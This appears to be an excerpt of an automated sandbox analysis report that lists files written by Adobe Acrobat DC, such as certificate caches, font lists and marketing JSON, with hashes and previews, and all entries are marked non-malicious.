SHA-512:	EA360E55156DE71963B4C52E14018956129BEE060A9CF39FD8D4B6ACDBB4C310A6E7486D766BED5EE9DB4AFD265F4C441CA965D8FCFCAA6D35DFC31C7CDB4A3A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2164888219809558
Encrypted:	false
SSDEEP:	24:7+thj6wKOqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzR:7MZWOq/mFTIF3XmHjBoGGR+jMz+Lh0
MD5:	D4B6804DFD05E6E60CEEB8AE107C600F
SHA1:	9B91F41A358D2D343BAC5653A2A6677B205D241B
SHA-256:	BAE5EFB5F2393FD13C39BA0FA158722908A2E12514EC442D16DD345578E2B9CD
SHA-512:	C8652B0EA972934FD467D3922FCD899FC64AF008A644A6DE03A8C44CD6E6CEC19D24882EA4424BE19881F0C56B1B69FDB2B0F0E225A10ECC0DE50F7ED318F834
Malicious:	false
Preview:	.... .c.....4..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklX5/lltfllXlE/HT8kONNX8RolJuRdxLlGB9lQRYwpDdt:kKueT81NMa8RdWBwRd
MD5:	025F22FCD65B6B2A99B821E1A5D63B46
SHA1:	352EBCD278F4CB44E0B76C399411D3C5B6A2BA84
SHA-256:	F69824F84B268FC4154DA466AD5E8CAA70C12CECAD9E65C2837FF2598709A225
SHA-512:	64241FE818E38B54B5533101294EF440336C32644DA2D43993EC8A6ADD824DA6BCBDB5B979C8D2831B51F1B3C343422AC4AEC93D857262F4A7D96362E6EF811A
Malicious:	false
Preview:	p...... ........$\~>.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1246825501817477
Encrypted:	false
SSDEEP:	6:kKd0/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:yiDnLNkPlE99SNxAhUe/3
MD5:	7723D00FC78EB255ACCEFBC14366AA98
SHA1:	DF8D6FC0EC15BF9C5249C3964214C143F757C33D
SHA-256:	074E84E8D447F823F409EF00430FB48DA19AF47E033C17569746C7AA8AFC0467
SHA-512:	902BD5DA201DA2A21649F4CB5A58F3C8308A987BD406685350AD8163AC1AE10591B6CD33E04ED7911F2D5756AB40328340377F4D6D3671C63C14317A69D307FF
Malicious:	false
Preview:	p...... ........ #.Q.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7876

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.387420985013547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJM3g98kUwPeUkwRe9:YvXKXF6ibsdTeO3OGMbLUkee9
MD5:	7DE38D4AC5580E3828E99111851DF7C6
SHA1:	82707C5E17B8C31F3A50939FA3F2215022E92D62
SHA-256:	86441B2560BCD25BE52C6E8D87FD265A1C02B25193EF7746FC1E5747C9E11F69
SHA-512:	8854CD548D18B56CEC72F2A9B4866632FCBE543A95CA377350AAD33886238E15F8B994958EAF0F2C56618BA9065F847106E15FC4C86548E7AAB56DB91A86E0C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325725089552106
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfBoTfXpnrPeUkwRe9:YvXKXF6ibsdTeO3OGWTfXcUkee9
MD5:	5021AB03B8D6BF8304BC8C3612919502
SHA1:	C2422288ECD56E8741161ED8CCE0305D9D6A8336
SHA-256:	76EC2B868DCEAE25605C904E1018E8E49671FE34307628AABE66ADFB8D1080B3
SHA-512:	E1AE7F8EE0F00F8FF3E4DCA0E309DDA3ABC4C0E15961E7531FC1B8FADFFC3B529DBD89E01FD53FBCE4B550D9377F550F0C5DDC0FA357C8C497233CFF8CC5FF94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30492283752131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfBD2G6UpnrPeUkwRe9:YvXKXF6ibsdTeO3OGR22cUkee9
MD5:	D4EA858E13306932A6658239459BC14A
SHA1:	4B317043C42BABA988AE5EFD70BCF6D65325899E
SHA-256:	CC3DFFCCD6BB0C84EBD17BF631FFCFF02A5F8B4907852ACED018C5215E2B6F49
SHA-512:	C18B87954E4A3BFD20F3CF1B7870FF07268FDB157DF9C4C2FF3500C68F5AF18864378E8E76E00EC468EBB247FF2FB4CDF17AFBC0A4BB4B06D0D5F82A86E0747A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.37514341443841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfPmwrPeUkwRe9:YvXKXF6ibsdTeO3OGH56Ukee9
MD5:	8A4CF6DC1C81D4E394A1397D230BCA29
SHA1:	64DE5A64EBAA8CE4039549DB2CDC6CB4398454DE
SHA-256:	2EB80CB95436D5F9CF9F2ED777E85C24E86E20C0CBC8F47D56D7DE749DA7D669
SHA-512:	17FE8677C31238A4C32D074F20EEBA8AA7C6127C12E2A9756BD1ED6220D45080FE5E04EB415C358FE1DB22E744FCA52701056E5389CAB3F2AC1C70BEEA56354C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69223255887128
Encrypted:	false
SSDEEP:	24:Yv6XcCmeO37pLgE9cQx8LennAvzBvkn0RCmK8czOCCSI:YvveC7hgy6SAFv5Ah8cv/I
MD5:	AE09B18CBAC0FBEF65890DB7F5B1E6EE
SHA1:	9AAF16DDA93ECA9A21A4DE9C969DCB780291AE53
SHA-256:	4AF6EB1AAE25B66C24AF76E900B675E75DE6434B012CC541E42BDF9E31D49534
SHA-512:	5EF5921E7C0FF7CC0A7460272C5B2A8BAC92B5E686A1707C3815E025B4D2064044F77A07C6420B4BDCB0227CDF309F69FF70CD42FD00A2212070CBF67E70990A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3124233397664
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJf8dPeUkwRe9:YvXKXF6ibsdTeO3OGU8Ukee9
MD5:	294A8073ADA71E4EF747EAF57D845884
SHA1:	C721F2C3DAEDF8FF13A9316F98745491D4925FAD
SHA-256:	5CCBA681B8DE9A12F0EC7BE6C1A94D2FDC8560A1ECC2CEF7ED889FCB5DFAE4A9
SHA-512:	B924C384293CF27D403D2992F985AA70102DF233F1EC2865151CBFBB50D9103C3A25F362A8C432EBA7212637A6A7E5D48E87369F796CDCCEF88217053A77A6CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.316487137733718
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfQ1rPeUkwRe9:YvXKXF6ibsdTeO3OGY16Ukee9
MD5:	EFECDF87DF44ADD31225091C3A75148B
SHA1:	D9DC79E7C0269BD6A1408DAB07D488F40DA3C076
SHA-256:	B521154CE1E30CBFE6CB36420EF7A5F1D3D6D05A8369423C653B25003A04576C
SHA-512:	1BA6D2B7A5E76AE4AFC27A0C7BB3EE9CE1A316906199B7D76A67E1A13B7B74CF32ECCBECD03E14CD2351DB14A553E15BA93AF3AADFAB8B12D6D6593AB178B59A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d5719a9-0611-4645-b2a0-e585f948292d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736710265552,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330828690697138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWxut4WsGiIPEeOF0YXieoAvJfFldPeUkwRe9:YvXKXF6ibsdTeO3OGz8Ukee9
MD5:	FA03CCC64CCA01EE80C506BF94233B30
SHA1:	AE0E2372306E941A2550625882581B9C8E598ABC
SHA-256:	382F42493A9AE5BBA5ECE460A0919ADC57E98A39A8ACE3351ABFE3032E67BE5D
SHA-512:	8771476212062DE7B45F5357B9AB73BA73AE3B01C8F25D6CA22487E69F86273DCD9D15A33E7D7F2C3E6359DE96E4290296005D370AB0861BF14D12F50CFE8E19
Malicious:	false
